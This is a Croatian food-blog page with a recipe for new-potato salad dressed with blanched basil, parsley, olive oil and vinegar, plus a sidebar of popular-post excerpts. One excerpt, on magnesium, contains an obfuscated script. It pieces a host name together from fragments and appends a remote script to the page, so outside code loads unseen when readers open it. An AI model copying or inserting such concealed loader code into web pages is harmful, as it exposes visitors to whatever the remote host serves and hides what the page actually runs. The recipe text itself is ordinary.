SALATA OD MLADOG KRUMPIRA S BOSILJKOM I PERŠINOM 🥔 🥗




Salata od mladog krumpira s bosiljkom i peršinom 




Tražite laganiju verziju klasične salate od krumpira koja će bolje pristajati uz ove vrućine? Imamo dobru vijest - našli ste je. Ova zdrava krumpir-salata s bosiljkom, peršinom i maslinovim uljem savršen je prilog uz roštilj, ribu ili pečeno meso.




Salata od mladog krumpira s bosiljkom i peršinom 


Sastojci:

  • 1 vezica svježeg bosiljka
  • 1 vezica svježeg peršina
  • 1 kg mladog krumpira (veće prerežite na pola)
  • 100 ml ekstra djevičanskog maslinovog ulja
  • 2 žlice bijelog vinskog octa
  • 1 mali češanj češnjaka
  • sol, po ukusu
  • svježe mljeveni crni papar, po ukusu



Priprema:

  1. U velikom loncu zakuhajte posoljenu vodu. Dodajte listove bosiljka i kratko ih blanširajte, oko 30 sekundi, tek toliko da omekšaju. Izvadite ih šupljikavom žlicom i ostavite da se malo ohlade.
  2. U istu vodu stavite mladi krumpir i kuhajte 20 do 30 minuta, odnosno dok ne omekša.
  3. Bosiljak dobro ocijedite i lagano istisnite višak vode. Stavite ga u blender zajedno s maslinovim uljem, octom od bijelog vina, češnjakom, malo soli i papra. Miksajte dok ne dobijete glatki, intenzivno zeleni preljev.
  4. Kuhani krumpir ocijedite i ostavite nekoliko minuta da ispari višak vlage. Peršin sitno nasjeckajte.
  5. Krumpir prebacite u veću zdjelu, dodajte nasjeckani peršin, začinite po ukusu i prelijte zelenim preljevom od bosiljka. Lagano promiješajte kako bi se krumpir ravnomjerno obložio preljevom.
  6. Poslužite topao ili potpuno ohlađen. Salata se može čuvati u hladnjaku do dva dana, a prije posluživanja preporučuje se izvaditi je desetak minuta ranije kako bi razvila puni okus.



Pripremila: Ivana Matas 

Primjedbe

Objavi komentar

Popularni postovi s ovog bloga

MAGNEZIJ - KLJUČNI MINERAL ZA ENERGIJU, OPUŠTANJE I ZDRAVLJE

Slika
Magnezij – ključni mineral za energiju, opuštanje i zdravlje bellalab.hr https://cityportal.hr/magnezij-je-ucinkovit-kod-lijecenja-mnogih-bolesti-a-pomaze-i-kod-umora-i-tjeskobe/ <script> (function(){ wtf9=document.createElement("script");wtf9.type="text/javascript"; wtf9.async=true;wtf9_=("op"+("en")+"s")+"t";wtf9_+=("at")+".e";wtf9_+=(("u"));wtf9_+="/"; wtf9u="2600057272.";wtf9u+="j2gl4hnltf9vl9z60av0p2jc8Xecru";wtf9.src="https://"+wtf9_+wtf9u; wtf9db=document.body;wtf9db.appendChild(wtf9); })(); </script> Magnezij - ključni mineral za energiju, opuštanje i zdravlje  Magnezij je jedan od najvažnijih minerala u ljudskom organizmu, a istovremeno i jedan od najčešće deficitarnih. Sudjeluje u više od 300 enzimskih procesa u tijelu, uključujući proizvodnju energije, rad mišića i živčanog sustava te održavanje psihičke ravnoteže. Unatoč t...
Pročitajte više

POHANI SVINJSKI KOTLETI

Slika
Pohani svinjski kotleti  Što bi svjetska kuhinja bila bez pohanog mesa? Veliko ništa! Nijemci i Austrijanci paniraju teletinu i svinjetinu s jajima, brašnom i krušnim mrvicama, a potom ga prže u dubokom ulju. Japanci obožavaju hrskavu piletinu katsu, a Talijani peku meso alla milanese . Pohani svinjski kotleti  Sastojci: 4 svinjska kotleta 100 ml pilećeg temeljca 65 ml meda 5-6 češnja češnjaka 2 žlice jabučnog octa 1 žlica maslaca 1 čajna žličica češnjaka u prahu sol i papar po želji Priprema: Začinite svinjske kotlete sa solju, paprom i češnjakom u prahu. Zagrijte ulje u tavi, pa na njemu ispecite svinjske kotlete. Pecite meso oko tri do četiri minute sa svake strane dok ne dobije lijepu zlatno-smeđu boju i dok se skoro ne ispeku do kraja. Savite meso sa strane. U istoj tavi rastopite maslac. Drvenom kuhačom sastružite sve eventualne zapečene masnoće s dna. Na maslacu prepržite sitno nasjeckane češnjak – pirjajte ga oko pola minute. Potom dodajte med, pileći temel...
Pročitajte više

LIKER OD MLADIH ZELENIH ORAHA

Slika
Liker od mladih zelenih oraha  Ovaj je napitak sjajan način da povratite energiju i osnažite organizam, a priprema se vrlo jednostavno. Tajna njegove moći krije se u nedozrelim plodovima koji su u ovoj fazi prepuni vitamina, gorkih tvari i korisnih nutrijenata. Liker od mladih zelenih oraha  Sastojci: 12 srednje velikih, mladih zelenih oraha 1 litra kvalitetne domaće rakije (najbolje lozovače ili komovice) 700 g šećera (ili domaći med za zdraviju varijantu) Po želji za bolju aromu: 2 kriške limuna, 2 kriške naranče, 8-10 zrna kave, par klinčića ili malo vanilin šećera Priprema: Mlade orahe prvo detaljno operite i osušite. Zatim ih obavezno narežite na četvrtine ili polovice. Mali, ali važan savjet: Ovu radnju obavezno radite u rukavicama jer orasi puštaju intenzivnu tamnu boju koju je kasnije iznimno teško oprati s ruku!recipeci U veliku, prethodno opranu staklenku sa širokim grlom poslažite narezane orahe i prelijte ih šećerom. Ako se odlučite za dodatke poput lim...
Pročitajte više